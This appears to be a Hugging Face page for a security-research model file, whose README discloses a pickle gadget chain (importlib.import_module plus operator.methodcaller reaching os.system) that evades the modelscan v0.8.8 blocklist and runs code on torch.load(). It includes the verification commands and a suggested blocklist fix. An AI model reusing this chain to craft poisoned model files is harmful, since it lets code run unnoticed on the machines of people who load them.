Downloads · 30 days
4
13% of all-time downloads
vellaveto/mfv-pickle-modelscan-bypass
mfv-pickle-modelscan-bypass is a machine learning model from vellaveto. Use it for the machine learning task on the model card, and read the license before you ship it in a product. The card lists the license as apache-2.0.
Security research artifact. Do NOT load in production.
Downloads · 30 days
4
13% of all-time downloads
All-time downloads
31
Public
Repo size
464 B
Likes
0
Public
Click a slice to open those files.
Other1.5 KB · 43%
From the Hugging Face model README
Security research artifact. Do NOT load in production.
This model file bypasses modelscan v0.8.8
and executes arbitrary code when loaded via torch.load().
modelscan's unsafe_globals blocklist covers os.*, subprocess.*, builtins.eval/exec/__import__,
operator.attrgetter, etc. However, it does NOT block:
importlib.import_module — can import any module including osoperator.methodcaller — can call any method on an object (only attrgetter is blocked)The pickle chains these two:
operator.methodcaller('system', 'cmd')(importlib.import_module('os'))
= os.system('cmd')
= RCE
# Verify modelscan does NOT detect it
pip install modelscan
modelscan scan pytorch_model-00001-of-00001.bin
# Output: No issues found ✓
# Verify RCE
python3 -c "import torch; torch.load('pytorch_model-00001-of-00001.bin', weights_only=False)"
cat /tmp/mfv_modelscan_bypass_poc
Add importlib and operator.methodcaller to modelscan's unsafe_globals:
"CRITICAL": {
"importlib": "*", # ← ADD
"operator": ["attrgetter", "methodcaller"], # ← ADD methodcaller
...
}